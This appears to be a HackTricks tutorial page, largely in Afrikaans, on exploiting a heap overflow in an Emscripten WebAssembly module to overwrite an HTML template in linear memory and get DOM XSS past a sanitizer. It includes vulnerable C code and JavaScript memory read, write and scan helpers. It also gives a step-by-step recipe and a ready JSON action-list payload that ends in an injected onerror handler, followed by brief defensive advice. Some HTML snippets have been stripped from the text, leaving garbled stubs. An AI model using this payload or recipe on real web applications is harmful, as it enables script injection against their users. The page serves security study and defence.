%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie tegniek wys hoe 'n geheue-korrupsie-bug binne 'n WebAssembly (WASM) module wat met Emscripten saamgestel is, benut kan word tot 'n betroubare DOM XSS selfs wanneer insette gesaneer is. Die skuif is om skryfbare konstantes in WASM linear memory (bv. HTML format templates) te korrupteer in plaas daarvan om die gesaneerde bronteksstring aan te val.
Sleutelidee: In die WebAssembly-model woon kode in nie-skatbare uitvoerbare bladsye, maar die module se data (heap/stack/globals/"constants") woon in 'n enkele plat linear memory (bladsye van 64KB) wat deur die module geskryf kan word. As foutiewe C/C++ kode buite-grense skryf, kan jy aangrensende objekte en selfs konstante stringe wat in linear memory ingebed is, oorskryf. Wanneer so 'n konstante later gebruik word om HTML te bou vir invoeging via 'n DOM sink, kan jy gesaniteerde insette in uitvoerbare JavaScript omskakel.
Dreigmodel en voorvereistes
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Kwetsbare logika‑patroon
- addMsg(): allocates a new buffer sized to the sanitized input and appends a msg to s.mess, doubling capacity with realloc when needed.
- editMsg(): re‑sanitiseer en memcpy die nuwe bytes in die bestaande buffer sonder om te verseker dat die nuwe lengte ≤ ou toewysing → intra‑linear‑memory heap overflow.
- populateMsgHTML(): formateer die gesaniteerde teks met 'n ingeslote stub soos "
" wat in linear memory woon. Die teruggegewe HTML beland in 'n DOM sink (bv. innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Stuur genoeg boodskappe om die aanvanklike kapasiteit te oorskry. Na groei plaas realloc() dikwels s->mess onmiddellik ná die laaste user buffer in linear memory.
- Overflow the last message via editMsg() to clobber fields inside s->mess (e.g., overwrite msg_data pointers) → arbitrary pointer rewrite within linear memory for data later rendered.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization beskerm input, nie sinks nie. Vind die format stub wat deur populateMsgHTML() gebruik word, e.g.:
- "
" → change to "%.*s
"
- Lokaliseer die stub deterministies deur linear memory te scan; dit is 'n plain byte string binne Module.HEAPU8.
- Nadat jy die stub overwrite, word sanitized message content die JavaScript handler vir onerror, so deur 'n nuwe message by te voeg met teks soos alert(1337) kry jy
wat onmiddellik in die DOM uitgevoer word.
Chrome DevTools workflow (Emscripten glue)
- Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory).
- Gebruik typed views soos Module.HEAPU8 om WASM memory vanaf die console te lees/skryf.
- Hulpsnippets:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
End-to-end exploitation recipe
- Groom: voeg N klein boodskappe by om realloc() te aktiveer. Verseker dat s->mess langs 'n gebruikersbuffer lê.
- Overflow: roep editMsg() op die laaste boodskap aan met 'n langer payload om 'n inskrywing in s->mess oor te skryf, en stel msg_data van message 0 in om na (stub_addr + 1) te wys. Die +1 slaan die voorste '<' oor om tag-belyning tydens die volgende edit ongeskaad te laat.
- Template rewrite: wysig message 0 sodat sy bytes die template oor skryf met: "img src=1 onerror=%.*s ".
- Trigger XSS: voeg 'n nuwe boodskap by waarvan die gesaniteerde inhoud JavaScript is, byv. alert(1337). Rendering stuur
uit en voer dit uit.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Waarom hierdie omseiling werk
- WASM verhoed kode-uitvoering vanaf lineêre geheue, maar konstante data binne die lineêre geheue is skryfbaar as programlogika foutief is.
- Die sanitizer beskerm slegs die bronstreng; deur die sink (die HTML template) te korrupteer, word die gesaniteerde invoer die JS handler-waarde en voer uit wanneer dit in die DOM ingesit word.
- realloc()-driven nabyskheid plus ongekontroleerde memcpy in edit flows maak pointerkorruptie moontlik om skrywings te herlei na deur die aanvaller gekose adresse binne die lineêre geheue.
Generalisering en ander aanvaloppervlak
- Enige in-geheue HTML template, JSON skeleton, of URL pattern ingebed in die lineêre geheue kan geteiken word om te verander hoe gesaniteerde data later geïnterpreteer word.
- Ander algemene WASM-valstrikke: out-of-bounds writes/reads in lineêre geheue, UAF op heap objects, function-table misuse met ongekontroleerde indirect call indices, en JS↔WASM glue mismatches.
Verdedigingsriglyne
- In edit-paadjies, verifieer nuwe lengte ≤ kapasiteit; verander buffer-grootte voor kopieer (realloc na new_len) of gebruik grootte-beperkte APIs (snprintf/strlcpy) en hou kapasiteit by.
- Hou onveranderlike templates buite die skryfbare lineêre geheue of voer 'n integriteitskontrole op hulle uit voor gebruik.
- Behandel JS↔WASM-grense as onbetroubaar: valideer pointer-bereike/lengtes, fuzz geëksporteerde interfaces, en beperk geheuegroei.
- Sanitize by die sink: vermy om HTML in WASM te bou; verkies veilige DOM APIs bo innerHTML-style templating.
- Vermy om op URL-embedded state te vertrou vir privileged flows.
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.